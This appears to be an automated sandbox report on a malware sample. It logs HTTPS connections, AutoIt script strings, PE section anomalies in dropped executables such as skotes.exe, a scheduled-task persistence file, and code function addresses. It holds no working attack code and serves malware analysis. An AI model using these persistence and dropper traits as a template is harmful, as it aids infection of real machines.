Source: unknown	Network traffic detected: HTTP traffic on port 60860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55111
Source: unknown	Network traffic detected: HTTP traffic on port 60991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60936
Source: unknown	Network traffic detected: HTTP traffic on port 60938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60933
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60930
Source: unknown	Network traffic detected: HTTP traffic on port 61015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55117
Source: unknown	Network traffic detected: HTTP traffic on port 61049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55113
Source: unknown	Network traffic detected: HTTP traffic on port 61003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 60841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60947
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60943
Source: unknown	Network traffic detected: HTTP traffic on port 55122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60959
Source: unknown	Network traffic detected: HTTP traffic on port 60961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55124
Source: unknown	Network traffic detected: HTTP traffic on port 60875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60950
Source: unknown	Network traffic detected: HTTP traffic on port 60968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60951
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60960
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60967
Source: unknown	Network traffic detected: HTTP traffic on port 60904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60966
Source: unknown	Network traffic detected: HTTP traffic on port 61037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60962
Source: unknown	Network traffic detected: HTTP traffic on port 60831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60904
Source: unknown	Network traffic detected: HTTP traffic on port 60948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60901
Source: unknown	Network traffic detected: HTTP traffic on port 61039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60900
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60917
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60915
Source: unknown	Network traffic detected: HTTP traffic on port 60936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60910
Source: unknown	Network traffic detected: HTTP traffic on port 60865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60926
Source: unknown	Network traffic detected: HTTP traffic on port 60914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60924
Source: unknown	Network traffic detected: HTTP traffic on port 61050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60920
Source: unknown	Network traffic detected: HTTP traffic on port 60873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60893
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60890
Source: unknown	Network traffic detected: HTTP traffic on port 60999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60896
Source: unknown	Network traffic detected: HTTP traffic on port 60906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55097
Source: unknown	Network traffic detected: HTTP traffic on port 60941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 61108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 60977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 60802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60850
Source: unknown	Network traffic detected: HTTP traffic on port 60863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60855
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60852
Source: unknown	Network traffic detected: HTTP traffic on port 60897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60989 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.7:60803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.7:60829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:61054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:61092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:61103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:61104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:61107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:61113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:61114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:55101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:55102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:55113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:55115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.7:55117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:55118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:55121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:55124 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 3afa1b1567.exe, 0000001F.00000002.2582981970.0000000000FA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_684cb84b-0
Source: 3afa1b1567.exe, 0000001F.00000002.2582981970.0000000000FA2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_8bded21c-3

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name:
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: random[1].exe.21.dr	Static PE information: section name:
Source: random[1].exe.21.dr	Static PE information: section name: .rsrc
Source: random[1].exe.21.dr	Static PE information: section name: .idata
Source: random[1].exe.21.dr	Static PE information: section name:
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name:
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: .rsrc
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: .idata
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name:
Source: random[1].exe0.21.dr	Static PE information: section name:
Source: random[1].exe0.21.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.21.dr	Static PE information: section name: .idata
Source: random[1].exe0.21.dr	Static PE information: section name:
Source: bef6a59ce6.exe.21.dr	Static PE information: section name:
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: .rsrc
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: .idata
Source: bef6a59ce6.exe.21.dr	Static PE information: section name:
Source: random[2].exe.21.dr	Static PE information: section name:
Source: random[2].exe.21.dr	Static PE information: section name: .idata
Source: random[2].exe.21.dr	Static PE information: section name:
Source: 5b96a79886.exe.21.dr	Static PE information: section name:
Source: 5b96a79886.exe.21.dr	Static PE information: section name: .idata
Source: 5b96a79886.exe.21.dr	Static PE information: section name:
Source: random[2].exe0.21.dr	Static PE information: section name:
Source: random[2].exe0.21.dr	Static PE information: section name: .idata
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name:
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name: .idata

Source: C:\Users\user\DocumentsCGDHIEGCFH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAECD0	0_2_6CFAECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0D8D20	0_2_6D0D8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF4ECC0	0_2_6CF4ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D07AD50	0_2_6D07AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D01ED70	0_2_6D01ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5AC60	0_2_6CF5AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0DCDC0	0_2_6D0DCDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D016C00	0_2_6D016C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02AC30	0_2_6D02AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF54DB0	0_2_6CF54DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE6D90	0_2_6CFE6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D090F20	0_2_6D090F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5AEC0	0_2_6CF5AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF0EC0	0_2_6CFF0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD6E90	0_2_6CFD6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D012F70	0_2_6D012F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEEE70	0_2_6CFEEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D098FB0	0_2_6D098FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02EFF0	0_2_6D02EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF50FE0	0_2_6CF50FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D030E20	0_2_6D030E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5EFB0	0_2_6CF5EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBEF40	0_2_6CFBEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF56F10	0_2_6CF56F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D00A9A0	0_2_6D00A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0109B0	0_2_6D0109B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA0820	0_2_6CFA0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFDA820	0_2_6CFDA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D06C9E0	0_2_6D06C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF849F0	0_2_6CF849F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D024840	0_2_6D024840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE09A0	0_2_6CFE09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF88960	0_2_6CF88960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0568E0	0_2_6D0568E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA6900	0_2_6CFA6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCEA80	0_2_6CFCEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCCA70	0_2_6CFCCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D056BE0	0_2_6D056BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFEA00	0_2_6CFFEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D008A30	0_2_6D008A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF0BA0	0_2_6CFF0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF964D0	0_2_6CF964D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEA4D0	0_2_6CFEA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D054540	0_2_6D054540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D098550	0_2_6D098550
